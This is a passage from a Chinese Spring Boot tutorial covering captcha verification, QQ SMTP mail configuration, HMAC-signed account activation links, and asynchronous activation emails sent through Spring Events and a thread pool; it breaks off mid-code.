class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;code&quot;</span><span class="punctuation">:</span> <span class="number">200</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;message&quot;</span><span class="punctuation">:</span> <span class="string">&quot;操作成功&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;data&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;key&quot;</span><span class="punctuation">:</span> <span class="string">&quot;a1b2c3d4e5f6g7h8&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;image&quot;</span><span class="punctuation">:</span> <span class="string">&quot;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAMgAAABkCAYAAADDhn8LAA...&quot;</span></span><br><span class="line">  <span class="punctuation">&#125;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p><strong>步骤 2:在浏览器中查看验证码图片</strong></p><p>将 <code>image</code> 字段的值复制到浏览器地址栏,可以看到验证码图片。</p><p><strong>步骤 3:验证验证码</strong></p><ul><li><strong>方法</strong>:<code>GET</code></li><li><strong>URL</strong>:<code>http://localhost:8080/captcha/verify?key=a1b2c3d4e5f6g7h8&amp;code=ABCD</code></li></ul><p><strong>响应示例</strong>:</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;code&quot;</span><span class="punctuation">:</span> <span class="number">200</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;message&quot;</span><span class="punctuation">:</span> <span class="string">&quot;操作成功&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;data&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;valid&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span></span><br><span class="line">  <span class="punctuation">&#125;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><hr><h2 id="19-3-6-邮箱服务-激活链接与异步发送">19.3.6. 邮箱服务:激活链接与异步发送</h2><p>在上一节中,我们实现了验证码服务。现在我们需要实现邮箱服务,用于发送激活邮件。</p><p>若对于邮件系列感兴趣，可跳转至</p><p><a href="https://blog.prorisehub.com/categories/%E5%90%8E%E7%AB%AF%E6%8A%80%E6%9C%AF/Java/Spring%E7%B3%BB%E5%88%97/%E9%82%AE%E4%BB%B6%E7%94%9F%E6%80%81%E7%B3%BB%E5%88%97/">邮件生态系列</a></p><h3 id="Spring-Mail-配置">Spring Mail 配置</h3><p><strong>引入依赖</strong>:</p><p><strong>📄 文件路径</strong>:<code>pom.xml</code>(追加)</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.simplejavamail<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>simple-java-mail<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>8.5.1<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.simplejavamail<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-module<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>8.5.1<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><p><strong>配置邮件服务</strong>:</p><p><strong>📄 文件路径</strong>:<code>src/main/resources/application.yml</code>(追加)</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">mail:</span></span><br><span class="line">    <span class="attr">host:</span> <span class="string">smtp.qq.com</span></span><br><span class="line">    <span class="attr">port:</span> <span class="number">587</span></span><br><span class="line">    <span class="attr">username:</span> <span class="string">你的邮箱@qq.com</span></span><br><span class="line">    <span class="attr">password:</span> <span class="string">授权码</span></span><br><span class="line">    <span class="attr">properties:</span></span><br><span class="line">      <span class="attr">mail:</span></span><br><span class="line">        <span class="attr">smtp:</span></span><br><span class="line">          <span class="attr">auth:</span> <span class="literal">true</span></span><br><span class="line">          <span class="attr">starttls:</span></span><br><span class="line">            <span class="attr">enable:</span> <span class="literal">true</span></span><br></pre></td></tr></table></figure><p><strong>如何获取 QQ 邮箱授权码?</strong></p><ol><li>登录 QQ 邮箱</li><li>点击 “设置” → “账户”</li><li>找到 “POP3/IMAP/SMTP/Exchange/CardDAV/CalDAV 服务”</li><li>开启 “POP3/SMTP 服务” 或 “IMAP/SMTP 服务”</li><li>点击 “生成授权码”</li><li>将授权码复制到配置文件中</li></ol><p><strong>其他邮箱配置</strong>:</p><table><thead><tr><th style="text-align:left">邮箱服务商</th><th style="text-align:left">SMTP 服务器</th><th style="text-align:left">端口</th></tr></thead><tbody><tr><td style="text-align:left">QQ 邮箱</td><td style="text-align:left"><a href="http://smtp.qq.com">smtp.qq.com</a></td><td style="text-align:left">587</td></tr><tr><td style="text-align:left">163 邮箱</td><td style="text-align:left"><a href="http://smtp.163.com">smtp.163.com</a></td><td style="text-align:left">465</td></tr><tr><td style="text-align:left">Gmail</td><td style="text-align:left"><a href="http://smtp.gmail.com">smtp.gmail.com</a></td><td style="text-align:left">587</td></tr><tr><td style="text-align:left">Outlook</td><td style="text-align:left"><a href="http://smtp.office365.com">smtp.office365.com</a></td><td style="text-align:left">587</td></tr></tbody></table><hr><h3 id="激活链接生成-HMAC-签名">激活链接生成(HMAC 签名)</h3><p><strong>为什么需要 HMAC 签名?</strong></p><p>假设我们生成的激活链接是这样的:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://localhost:8080/auth/activate?userId=1748392847362</span><br></pre></td></tr></table></figure><p><strong>攻击者可以轻易伪造激活链接</strong>:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">http://localhost:8080/auth/activate?userId=1</span><br><span class="line">http://localhost:8080/auth/activate?userId=2</span><br><span class="line">http://localhost:8080/auth/activate?userId=3</span><br></pre></td></tr></table></figure><p><strong>通过遍历 userId,攻击者可以激活所有用户的账号</strong>。</p><p><strong>解决方案:HMAC 签名</strong></p><p>我们在激活链接中添加一个签名参数:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://localhost:8080/auth/activate?userId=1748392847362&amp;sign=a1b2c3d4e5f6g7h8</span><br></pre></td></tr></table></figure><p><strong>签名的生成逻辑</strong>:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">sign</span> <span class="operator">=</span> HMAC_SHA256(userId + timestamp + secret);</span><br></pre></td></tr></table></figure><p><strong>攻击者无法伪造签名</strong>,因为他不知道 <code>secret</code>。</p><p><strong>实现 HMAC 工具类</strong>:</p><p><strong>📄 文件路径</strong>:<code>src/main/java/com/example/auth/util/HmacUtil.java</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.auth.util;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> cn.hutool.crypto.SecureUtil;</span><br><span class="line"><span class="keyword">import</span> org.springframework.beans.factory.annotation.Value;</span><br><span class="line"><span class="keyword">import</span> org.springframework.stereotype.Component;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * HMAC 签名工具类</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">HmacUtil</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 密钥(从配置文件读取)</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@Value(&quot;$&#123;auth.hmac.secret:default_secret_key_change_in_production&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String secret;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 生成签名</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> data 待签名的数据</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 签名字符串</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">sign</span><span class="params">(String data)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> SecureUtil.hmacSha256(secret).digestHex(data);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 验证签名</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> data 待验证的数据</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> sign 签名字符串</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> true 表示签名有效,false 表示签名无效</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">verify</span><span class="params">(String data, String sign)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">expectedSign</span> <span class="operator">=</span> sign(data);</span><br><span class="line">        <span class="keyword">return</span> expectedSign.equals(sign);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>配置密钥</strong>:</p><p><strong>📄 文件路径</strong>:<code>src/main/resources/application.yml</code>(追加)</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">auth:</span></span><br><span class="line">  <span class="attr">hmac:</span></span><br><span class="line">    <span class="comment"># HMAC 密钥(生产环境必须修改!)</span></span><br><span class="line">    <span class="attr">secret:</span> <span class="string">your_secret_key_change_in_production</span></span><br></pre></td></tr></table></figure><hr><h3 id="Spring-Event-异步发送">Spring Event 异步发送</h3><p><strong>为什么需要异步发送?</strong></p><p>如果同步发送邮件,用户注册时的流程是这样的:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">sequenceDiagram</span><br><span class="line">    participant User as 用户</span><br><span class="line">    participant Controller as Controller</span><br><span class="line">    participant Service as UserService</span><br><span class="line">    participant Mail as MailService</span><br><span class="line"></span><br><span class="line">    User-&gt;&gt;Controller: POST /auth/register</span><br><span class="line">    Controller-&gt;&gt;Service: 注册用户</span><br><span class="line">    Service-&gt;&gt;Service: 插入数据库</span><br><span class="line">    Service-&gt;&gt;Mail: 发送激活邮件</span><br><span class="line">    Note over Mail: 发送邮件需要 2-5 秒</span><br><span class="line">    Mail--&gt;&gt;Service: 发送成功</span><br><span class="line">    Service--&gt;&gt;Controller: 注册成功</span><br><span class="line">    Controller--&gt;&gt;User: 返回响应</span><br><span class="line"></span><br><span class="line">    Note over User: 用户等待 2-5 秒</span><br></pre></td></tr></table></figure><p><strong>用户需要等待 2-5 秒才能收到响应</strong>,体验很差。</p><p><strong>异步发送的流程</strong>:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">sequenceDiagram</span><br><span class="line">    participant User as 用户</span><br><span class="line">    participant Controller as Controller</span><br><span class="line">    participant Service as UserService</span><br><span class="line">    participant Event as Spring Event</span><br><span class="line">    participant Listener as MailListener</span><br><span class="line">    participant Mail as MailService</span><br><span class="line"></span><br><span class="line">    User-&gt;&gt;Controller: POST /auth/register</span><br><span class="line">    Controller-&gt;&gt;Service: 注册用户</span><br><span class="line">    Service-&gt;&gt;Service: 插入数据库</span><br><span class="line">    Service-&gt;&gt;Event: 发布事件</span><br><span class="line">    Event--&gt;&gt;Service: 立即返回</span><br><span class="line">    Service--&gt;&gt;Controller: 注册成功</span><br><span class="line">    Controller--&gt;&gt;User: 返回响应</span><br><span class="line"></span><br><span class="line">    Note over User: 用户立即收到响应</span><br><span class="line"></span><br><span class="line">    Event-&gt;&gt;Listener: 异步处理事件</span><br><span class="line">    Listener-&gt;&gt;Mail: 发送激活邮件</span><br><span class="line">    Note over Mail: 发送邮件需要 2-5 秒</span><br><span class="line">    Mail--&gt;&gt;Listener: 发送成功</span><br></pre></td></tr></table></figure><p><strong>用户立即收到响应,邮件在后台异步发送</strong>。</p><div class="note blue flat"><p><strong>占位符:Spring Event 机制详解</strong></p><p>本章只演示 Spring Event 的基本用法。如果你想深入理解 Spring Event 的原理、最佳实践、事务管理等内容,请参考以下文章:</p><ul><li>《Spring Event 事件驱动架构:从入门到精通》</li><li>《Spring Event 与事务:如何保证事件发布的可靠性》</li><li>《Spring Event 性能优化:异步线程池配置与监控》</li></ul></div><hr><h3 id="定义邮件发送事件">定义邮件发送事件</h3><p><strong>📄 文件路径</strong>:<code>src/main/java/com/example/auth/event/EmailEvent.java</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.auth.event;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> lombok.Getter;</span><br><span class="line"><span class="keyword">import</span> org.springframework.context.ApplicationEvent;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 邮件发送事件</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Getter</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">EmailEvent</span> <span class="keyword">extends</span> <span class="title class_">ApplicationEvent</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 收件人邮箱</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> String to;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 邮件主题</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> String subject;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 邮件内容(HTML 格式)</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> String content;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">EmailEvent</span><span class="params">(Object source, String to, String subject, String content)</span> &#123;</span><br><span class="line">        <span class="built_in">super</span>(source);</span><br><span class="line">        <span class="built_in">this</span>.to = to;</span><br><span class="line">        <span class="built_in">this</span>.subject = subject;</span><br><span class="line">        <span class="built_in">this</span>.content = content;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><hr><h3 id="实现邮件发送监听器">实现邮件发送监听器</h3><p><strong>📄 文件路径</strong>:<code>src/main/java/com/example/auth/listener/EmailEventListener.java</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.auth.listener;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.example.auth.event.EmailEvent;</span><br><span class="line"><span class="keyword">import</span> lombok.RequiredArgsConstructor;</span><br><span class="line"><span class="keyword">import</span> lombok.extern.slf4j.Slf4j;</span><br><span class="line"><span class="keyword">import</span> org.springframework.context.event.EventListener;</span><br><span class="line"><span class="keyword">import</span> org.springframework.mail.javamail.JavaMailSender;</span><br><span class="line"><span class="keyword">import</span> org.springframework.mail.javamail.MimeMessageHelper;</span><br><span class="line"><span class="keyword">import</span> org.springframework.scheduling.annotation.Async;</span><br><span class="line"><span class="keyword">import</span> org.springframework.stereotype.Component;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> jakarta.mail.MessagingException;</span><br><span class="line"><span class="keyword">import</span> jakarta.mail.internet.MimeMessage;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 邮件发送监听器</span></span><br><span class="line"><span class="comment"> * 监听 EmailEvent 事件,异步发送邮件</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Slf4j</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="meta">@RequiredArgsConstructor</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">EmailEventListener</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> JavaMailSender mailSender;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 处理邮件发送事件</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> event 邮件事件</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@Async</span></span><br><span class="line">    <span class="meta">@EventListener</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">handleEmailEvent</span><span class="params">(EmailEvent event)</span> &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            log.info(<span class="string">&quot;开始发送邮件: to=&#123;&#125;, subject=&#123;&#125;&quot;</span>, event.getTo(), event.getSubject());</span><br><span class="line"></span><br><span class="line">            <span class="comment">// 创建邮件消息</span></span><br><span class="line">            <span class="type">MimeMessage</span> <span class="variable">message</span> <span class="operator">=</span> mailSender.createMimeMessage();</span><br><span class="line">            <span class="type">MimeMessageHelper</span> <span class="variable">helper</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">MimeMessageHelper</span>(message, <span class="literal">true</span>, <span class="string">&quot;UTF-8&quot;</span>);</span><br><span class="line"></span><br><span class="line">            <span class="comment">// 设置发件人(从配置文件读取)</span></span><br><span class="line">            helper.setFrom(<span class="string">&quot;your_email@qq.com&quot;</span>);</span><br><span class="line">            <span class="comment">// 设置收件人</span></span><br><span class="line">            helper.setTo(event.getTo());</span><br><span class="line">            <span class="comment">// 设置邮件主题</span></span><br><span class="line">            helper.setSubject(event.getSubject());</span><br><span class="line">            <span class="comment">// 设置邮件内容(HTML 格式)</span></span><br><span class="line">            helper.setText(event.getContent(), <span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line">            <span class="comment">// 发送邮件</span></span><br><span class="line">            mailSender.send(message);</span><br><span class="line"></span><br><span class="line">            log.info(<span class="string">&quot;邮件发送成功: to=&#123;&#125;&quot;</span>, event.getTo());</span><br><span class="line">        &#125; <span class="keyword">catch</span> (MessagingException e) &#123;</span><br><span class="line">            log.error(<span class="string">&quot;邮件发送失败: to=&#123;&#125;, error=&#123;&#125;&quot;</span>, event.getTo(), e.getMessage(), e);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>关键注解</strong>:</p><ul><li><code>@EventListener</code>:标记这是一个事件监听器</li><li><code>@Async</code>:标记这是一个异步方法</li></ul><hr><h3 id="配置异步线程池">配置异步线程池</h3><p><strong>📄 文件路径</strong>:<code>src/main/java/com/example/auth/config/AsyncConfig.java</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.auth.config;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> org.springframework.context.annotation.Configuration;</span><br><span class="line"><span class="keyword">import</span> org.springframework.scheduling.annotation.EnableAsync;</span><br><span class="line"><span class="keyword">import</span> org.springframework.scheduling.annotation.AsyncConfigurer;</span><br><span class="line"><span class="keyword">import</span> org.springframework.scheduling.concurrent.ThreadPoolTaskExecutor;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.util.concurrent.Executor;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 异步配置</span></span><br><span class="line"><span class="comment"> * 配置 Spring Event 的异步线程池</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="meta">@EnableAsync</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AsyncConfig</span> <span class="keyword">implements</span> <span class="title class_">AsyncConfigurer</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> Executor <span class="title function_">getAsyncExecutor</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">ThreadPoolTaskExecutor</span> <span class="variable">executor</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ThreadPoolTaskExecutor</span>();</span><br><span class="line">        <span class="comment">// 核心线程数</span></span><br><span class="line">        executor.setCorePoolSize(<span class="number">5</span>);</span><br><span class="line">        <span class="comment">// 最大线程数</span></span><br><span class="line">        executor.setMaxPoolSize(<span class="number">10</span>);</span><br><span class="line">        <span class="comment">// 队列容量</span></span><br><span class="line">        executor.setQueueCapacity(<span class="number">100</span>);</span><br><span class="line">        <span class="comment">// 线程名称前缀</span></span><br><span class="line">        executor.setThreadNamePrefix(<span class="string">&quot;async-email-&quot;</span>);</span><br><span class="line">        <span class="comment">// 初始化</span></span><br><span class="line">        executor.initialize();</span><br><span class="line">        <span class="keyword">return</span> executor;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><hr><h3 id="实现邮件服务">实现邮件服务</h3><p><strong>📄 文件路径</strong>:<code>src/main/java/com/example/auth/service/EmailService.java</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span 